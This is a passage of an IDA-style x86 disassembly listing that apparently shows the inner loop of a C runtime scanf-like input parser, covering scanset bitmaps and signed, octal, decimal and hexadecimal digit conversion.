loc_423A23:				; CODE XREF: sub_4236C0+343j
					; sub_4236C0+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_423A3E:				; CODE XREF: sub_4236C0+33Dj
					; sub_4236C0+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_423A51
		cmp	[ebp+var_1C], 0
		jz	loc_42485F


loc_423A51:				; CODE XREF: sub_4236C0+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_42480A
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, byte_424A7E[ecx]
		jmp	dword ptr loc_424A56[eax*4]
		cmp	[ebp+var_1E8], 0
		jnz	short loc_423AAC
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_423AAC:				; CODE XREF: sub_4236C0+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_423ABD
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_423ABD:				; CODE XREF: sub_4236C0+3F2j
		mov	[ebp+var_1E0], offset dword_44771C
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_423B40
; ---------------------------------------------------------------------------


loc_423AD1:				; CODE XREF: sub_4236C0+3C4j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_423AE2
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_423AE2:				; CODE XREF: sub_4236C0+417j
		mov	[ebp+var_1E0], offset dword_447714
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_423B40
; ---------------------------------------------------------------------------


loc_423AF6:				; CODE XREF: sub_4236C0+3C4j
					; DATA XREF: .data:00424A76o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_423B07
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_423B07:				; CODE XREF: sub_4236C0+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_423B40
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl


loc_423B40:				; CODE XREF: sub_4236C0+40Fj
					; sub_4236C0+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_423B7C
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_423B7C
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h


loc_423B7C:				; CODE XREF: sub_4236C0+494j
					; sub_4236C0+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_423CE7
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_423BD8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_423BD8
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_423C1E


loc_423BD8:				; CODE XREF: sub_4236C0+4FAj
					; sub_4236C0+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_423CE2
; ---------------------------------------------------------------------------


loc_423C1E:				; CODE XREF: sub_4236C0+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_423C5E
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_423C6D
; ---------------------------------------------------------------------------


loc_423C5E:				; CODE XREF: sub_4236C0+591j
		mov	al, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_24], al
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl


loc_423C6D:				; CODE XREF: sub_4236C0+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_423C86
; ---------------------------------------------------------------------------


loc_423C78:				; CODE XREF: sub_4236C0+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al


loc_423C86:				; CODE XREF: sub_4236C0+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_423CDE
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_423C78
; ---------------------------------------------------------------------------


loc_423CDE:				; CODE XREF: sub_4236C0+5DDj
		mov	byte ptr [ebp+var_8], 0


loc_423CE2:				; CODE XREF: sub_4236C0+559j
		jmp	loc_423B7C
; ---------------------------------------------------------------------------


loc_423CE7:				; CODE XREF: sub_4236C0+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_423CFA
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_423CFA:				; CODE XREF: sub_4236C0+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_423D09
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx


loc_423D09:				; CODE XREF: sub_4236C0+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_424B60
		add	esp, 8


loc_423D2E:				; CODE XREF: sub_4236C0:loc_423E70j
		cmp	[ebp+var_1E8], 0
		jz	short loc_423D4B
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_423E75


loc_423D4B:				; CODE XREF: sub_4236C0+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_423E52
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_423E52
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_423E41
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_423E2B
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_423DFD
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1EF], al


loc_423DFD:				; CODE XREF: sub_4236C0+720j
		mov	eax, dword_447480
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_42A640
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_423E3F
; ---------------------------------------------------------------------------


loc_423E2B:				; CODE XREF: sub_4236C0+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_423E3F:				; CODE XREF: sub_4236C0+769j
		jmp	short loc_423E50
; ---------------------------------------------------------------------------


loc_423E41:				; CODE XREF: sub_4236C0+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax


loc_423E50:				; CODE XREF: sub_4236C0:loc_423E3Fj
		jmp	short loc_423E70
; ---------------------------------------------------------------------------


loc_423E52:				; CODE XREF: sub_4236C0+6ADj
					; sub_4236C0+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_424B60
		add	esp, 8
		jmp	short loc_423E75
; ---------------------------------------------------------------------------


loc_423E70:				; CODE XREF: sub_4236C0:loc_423E50j
		jmp	loc_423D2E
; ---------------------------------------------------------------------------


loc_423E75:				; CODE XREF: sub_4236C0+685j
					; sub_4236C0+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_423EB1
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_423EAF
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_423EAF
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_423EA9
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_423EAF
; ---------------------------------------------------------------------------


loc_423EA9:				; CODE XREF: sub_4236C0+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0


loc_423EAF:				; CODE XREF: sub_4236C0+7C6j
					; sub_4236C0+7D5j ...
		jmp	short loc_423EB6
; ---------------------------------------------------------------------------


loc_423EB1:				; CODE XREF: sub_4236C0+7BEj
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_423EB6:				; CODE XREF: sub_4236C0:loc_423EAFj
		jmp	loc_424854
; ---------------------------------------------------------------------------


loc_423EBB:				; CODE XREF: sub_4236C0+3C4j
		mov	[ebp+var_C], 64h


loc_423EC2:				; CODE XREF: sub_4236C0+3C4j
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_423ED6
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_423EDF
; ---------------------------------------------------------------------------


loc_423ED6:				; CODE XREF: sub_4236C0+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_423F1C


loc_423EDF:				; CODE XREF: sub_4236C0+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_423F01
		cmp	[ebp+var_1E8], 0
		jz	short loc_423F01
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_423F1C
; ---------------------------------------------------------------------------


loc_423F01:				; CODE XREF: sub_4236C0+82Cj
					; sub_4236C0+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_423F1C:				; CODE XREF: sub_4236C0+81Dj
					; sub_4236C0+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_423FBE
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_423F5C
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_423F80


loc_423F5C:				; CODE XREF: sub_4236C0+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_423FBE
; ---------------------------------------------------------------------------


loc_423F80:				; CODE XREF: sub_4236C0+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_423F98
		mov	[ebp+var_C], 6Fh
		jmp	short loc_423FBE
; ---------------------------------------------------------------------------


loc_423F98:				; CODE XREF: sub_4236C0+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_424B60
		add	esp, 8
		mov	[ebp+var_1D8], 30h


loc_423FBE:				; CODE XREF: sub_4236C0+863j
					; sub_4236C0+8BEj ...
		jmp	short loc_42401E
; ---------------------------------------------------------------------------


loc_423FC0:				; CODE XREF: sub_4236C0+3C4j
		mov	[ebp+var_38], 1


loc_423FC4:				; CODE XREF: sub_4236C0+3C4j
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_423FD8
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_423FE1
; ---------------------------------------------------------------------------


loc_423FD8:				; CODE XREF: sub_4236C0+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42401E


loc_423FE1:				; CODE XREF: sub_4236C0+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_424003
		cmp	[ebp+var_1E8], 0
		jz	short loc_424003
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42401E
; ---------------------------------------------------------------------------


loc_424003:				; CODE XREF: sub_4236C0+92Ej
					; sub_4236C0+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42401E:				; CODE XREF: sub_4236C0:loc_423FBEj
					; sub_4236C0+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_424219


loc_42402B:				; CODE XREF: sub_4236C0:loc_4241F4j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_4241F9
		cmp	[ebp+var_C], 78h
		jnz	loc_4240C6
		cmp	dword_447480, 1
		jle	short loc_424066
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424066:				; CODE XREF: sub_4236C0+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx


loc_424083:				; CODE XREF: sub_4236C0+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_4240B9
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42AC10
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_424AA0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_4240C1
; ---------------------------------------------------------------------------


loc_4240B9:				; CODE XREF: sub_4236C0+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4240C1:				; CODE XREF: sub_4236C0+9F7j
		jmp	loc_42416D
; ---------------------------------------------------------------------------


loc_4240C6:				; CODE XREF: sub_4236C0+97Bj
		cmp	dword_447480, 1
		jle	short loc_4240E8
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_424102
; ---------------------------------------------------------------------------


loc_4240E8:				; CODE XREF: sub_4236C0+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx


loc_424102:				; CODE XREF: sub_4236C0+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_424165
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42413D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_424132
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42AC10
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42413B
; ---------------------------------------------------------------------------


loc_424132:				; CODE XREF: sub_4236C0+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl


loc_42413B:				; CODE XREF: sub_4236C0+A70j
		jmp	short loc_424163
; ---------------------------------------------------------------------------


loc_42413D:				; CODE XREF: sub_4236C0+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42AC10
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_42AC10
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_424163:				; CODE XREF: sub_4236C0:loc_42413Bj
		jmp	short loc_42416D
; ---------------------------------------------------------------------------


loc_424165:				; CODE XREF: sub_4236C0+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42416D:				; CODE XREF: sub_4236C0:loc_4240C1j
					; sub_4236C0:loc_424163j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_4241D8
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_4241BB
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4241BB
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_4241D6
; ---------------------------------------------------------------------------


loc_4241BB:				; CODE XREF: sub_4236C0+ADFj
					; sub_4236C0+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4241D6:				; CODE XREF: sub_4236C0+AF9j
		jmp	short loc_4241F4
; ---------------------------------------------------------------------------


loc_4241D8:				; CODE XREF: sub_4236C0+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_424B60
		add	esp, 8


loc_4241F4:				; CODE XREF: sub_4236C0:loc_4241D6j
		jmp	loc_42402B
; ---------------------------------------------------------------------------


loc_4241F9:				; CODE XREF: sub_4236C0+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_424214
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx


loc_424214:				; CODE XREF: sub_4236C0+B3Fj
		jmp	loc_4243BD
; ---------------------------------------------------------------------------


loc_424219:				; CODE XREF: sub_4236C0+965j
					; sub_4236C0:loc_4243A8j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_4243AD
		cmp	[ebp+var_C], 78h
		jz	short loc_424231
		cmp	[ebp+var_C], 70h
		jnz	short loc_4242A9


loc_424231:				; CODE XREF: sub_4236C0+B69j
		cmp	dword_447480, 1
		jle	short loc_424256
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_424273
; ---------------------------------------------------------------------------


loc_424256:				; CODE XREF: sub_4236C0+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax


loc_424273:				; CODE XREF: sub_4236C0+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_42429C
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_424AA0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_4242A4
; ---------------------------------------------------------------------------


loc_42429C:				; CODE XREF: sub_4236C0+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4242A4:				; CODE XREF: sub_4236C0+BDAj
		jmp	loc_42432B
; ---------------------------------------------------------------------------


loc_4242A9:				; CODE XREF: sub_4236C0+B6Fj
		cmp	dword_447480, 1
		jle	short loc_4242CB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_4242E5
; ---------------------------------------------------------------------------


loc_4242CB:				; CODE XREF: sub_4236C0+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx


loc_4242E5:				; CODE XREF: sub_4236C0+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_424322
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_424312
		cmp	[ebp+var_1D8], 38h
		jge	short loc_424308
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_424310
; ---------------------------------------------------------------------------


loc_424308:				; CODE XREF: sub_4236C0+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_424310:				; CODE XREF: sub_4236C0+C46j
		jmp	short loc_424320
; ---------------------------------------------------------------------------


loc_424312:				; CODE XREF: sub_4236C0+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax


loc_424320:				; CODE XREF: sub_4236C0:loc_424310j
		jmp	short loc_42432B
; ---------------------------------------------------------------------------


loc_424322:				; CODE XREF: sub_4236C0+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl


loc_42432B:				; CODE XREF: sub_4236C0:loc_4242A4j
					; sub_4236C0:loc_424320j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_42438C
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42436F
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42436F
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42438A
; ---------------------------------------------------------------------------


loc_42436F:				; CODE XREF: sub_4236C0+C93j
					; sub_4236C0+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42438A:				; CODE XREF: sub_4236C0+CADj
		jmp	short loc_4243A8
; ---------------------------------------------------------------------------


loc_42438C:				; CODE XREF: sub_4236C0+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_424B60
		add	esp, 8


loc_4243A8:				; CODE XREF: sub_4236C0:loc_42438Aj
		jmp	loc_424219
; ---------------------------------------------------------------------------


loc_4243AD:				; CODE XREF: sub_4236C0+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_4243BD
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax


loc_4243BD:				; CODE XREF: sub_4236C0:loc_424214j
					; sub_4236C0+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_4243CA
		mov	[ebp+var_6C], 0


loc_4243CA:				; CODE XREF: sub_4236C0+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_424418
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_424416
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx


loc_4243E1:				; CODE XREF: sub_4236C0+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_4243FA
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_424416
; ---------------------------------------------------------------------------


loc_4243FA:				; CODE XREF: sub_4236C0+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_42440C
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_424416
; ---------------------------------------------------------------------------


loc_42440C:				; CODE XREF: sub_4236C0+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx


loc_424416:				; CODE XREF: sub_4236C0+D16j
					; sub_4236C0+D38j ...
		jmp	short loc_42441D
; ---------------------------------------------------------------------------


loc_424418:				; CODE XREF: sub_4236C0+D0Ej
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_42441D:				; CODE XREF: sub_4236C0:loc_424416j
		jmp	loc_424854
; ---------------------------------------------------------------------------


loc_424422:				; CODE XREF: sub_4236C0+3C4j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_424432
		jmp	short loc_4243E1
; ---------------------------------------------------------------------------


loc_424432:				; CODE XREF: sub_4236C0+D6Ej
		jmp	loc_424854
; ---------------------------------------------------------------------------


loc_424437:				; CODE XREF: sub_4236C0+3C4j
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_424466
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_42446F
; ---------------------------------------------------------------------------


loc_424466:				; CODE XREF: sub_4236C0+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_424493


loc_42446F:				; CODE XREF: sub_4236C0+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_424493:				; CODE XREF: sub_4236C0+DADj
		cmp	[ebp+var_1E8], 0
		jz	short loc_4244A5
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_4244AC


loc_4244A5:				; CODE XREF: sub_4236C0+DDAj
		mov	[ebp+var_1C], 15Dh


